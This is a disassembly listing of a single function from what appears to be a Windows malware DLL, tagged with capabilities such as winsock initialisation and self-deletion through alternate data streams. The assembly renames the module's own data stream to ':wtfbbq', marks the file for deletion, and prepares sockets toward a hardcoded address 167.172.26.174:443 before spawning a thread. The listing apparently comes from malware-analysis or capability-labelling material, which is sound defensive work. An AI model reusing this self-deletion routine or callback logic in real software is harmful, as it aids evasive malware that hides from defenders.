Function at 0x180002220
Capabilities:
Initialize winsock library
Self delete using alternate data streams

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x570]
sub rsp, 0x670
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rbp + 0x560], rax
xor r12d, r12d
mov r14, r8
mov esi, r12d
mov ebx, r12d
mov edi, r12d
lea r15d, [r12 + 5]
test r8, r8
jne 0x180002277
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x180002282
mov rcx, r14
call fcn.180008d84
mov rdi, rax
lea rcx, str._cs167.172.26.174:443__ci5
call fcn.180008d84
lea rdx, [0x180024948]
mov rcx, rax
call fcn.18000c1f0
test rax, rax
je 0x1800025bd
cmp byte [rax + 1], 0x63
jne 0x1800022e7
movzx ecx, byte [rax + 2]
cmp cl, 0x69
je 0x1800022db
cmp cl, 0x6b
je 0x1800022cd
cmp cl, 0x73
jne 0x1800022e7
lea rcx, [rax + 3]
call fcn.180008d84
mov rsi, rax
jmp 0x1800022e7
lea rcx, [rax + 3]
call fcn.180008d84
mov rbx, rax
jmp 0x1800022e7
lea rcx, [rax + 3]
call fcn.18000b8a8
mov r15d, eax
lea rdx, [0x180024948]
xor ecx, ecx
call fcn.18000c1f0
test rax, rax
jne 0x1800022a6
test rbx, rbx
je 0x18000232a
test rdi, rdi
je 0x1800025bd
sub rbx, rdi
nop dword [rax + rax]
movzx ecx, byte [rdi]
movzx eax, byte [rdi + rbx]
sub ecx, eax
jne 0x180002322
inc rdi
test eax, eax
jne 0x180002310
test ecx, ecx
jne 0x1800025bd
test rsi, rsi
je 0x1800025bd
mov ecx, 0x101
lea rdx, [rbp + 0xe0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x40], r12
lea rdx, [0x180024930]
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
mov rcx, qword [rsp + 0x40]
lea rdx, [rbp + 0x290]
mov r8d, 0x105
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x290]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x10000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x180002495
movups xmm0, xmmword [str.:wtfbbq]
mov ecx, 0x28
movups xmmword [rbp + 0x280], xmm0
call fcn.18000c8fc
mov rdi, rax
mov rbx, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r9d, 0x28
mov r8, rbx
add eax, eax
mov rcx, r14
mov dword [rbx + 0x10], eax
movups xmm0, xmmword [rbp + 0x280]
lea edx, [r9 - 0x25]
movups xmmword [rbx + 0x14], xmm0
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
mov rcx, rbx
mov edi, eax
call fcn.18000ad90
test edi, edi
je 0x180002495
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x290]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x10000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180002495
xor eax, eax
lea rdi, [rbp + 0xd0]
mov ecx, 1
lea r8, [rbp + 0xd0]
rep stosb byte [rdi], al
mov rcx, rbx
mov byte [rbp + 0xd0], 1
lea r9d, [rax + 1]
lea edx, [rax + 4]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x180002495
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x290]
lea rcx, [rsp + 0x50]
call fcn.180002600
mov rax, qword [0x180027dc0]
mov rcx, qword [rbp + 0x98]
mov qword [rsp + 0x70], rax
mov eax, dword [reloc.WS2_32.dll_getsockopt]
mov dword [rsp + 0x58], eax
test rcx, rcx
je 0x18000252d
cmp byte [rcx], 0x2d
jne 0x18000252d
inc rcx
mov edx, 0x2b
call fcn.180005b10
mov rbx, rax
test rax, rax
je 0x18000252d
cmp byte [rax + 1], r12b
je 0x18000252d
mov rdi, qword [rbp + 0x98]
mov byte [rax], r12b
mov rcx, qword [rbp + 0x98]
inc rcx
call fcn.180008d84
mov qword [rbp + 0xa8], rax
lea rcx, [rbx + 2]
movzx edx, byte [rbx + 1]
mov byte [rbp + 0xb2], dl
call fcn.180008d84
mov qword [rbp + 0x98], rax
mov rcx, rdi
mov byte [rbx], 0x2b
call fcn.18000ad90
mov edi, 2
cmp word [rbp - 8], r12w
jne 0x18000253d
mov word [rbp - 8], di
cmp word [rbp - 6], r12w
jne 0x180002555
movzx ecx, word [0x180027dc8]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 6], ax
mov eax, reloc.WS2_32.dll_socket
mov word [rbp + 0x30], di
mov word [rbp + 0x14], ax
mov ecx, reloc.WS2_32.dll_recv
mov eax, 0x300
mov qword [rbp + 0x78], 0xffffffffffffffff
mov word [rbp + 0x80], ax
call fcn.18000c8fc
lea rcx, [rbp + 0xd4]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x180001ac0]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
mov edx, 0x4000
mov qword [rax], rsi
mov dword [rax + 8], r15d
call fcn.18000c514
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800025b0
xor ecx, ecx
call fcn.18000c1e4
int3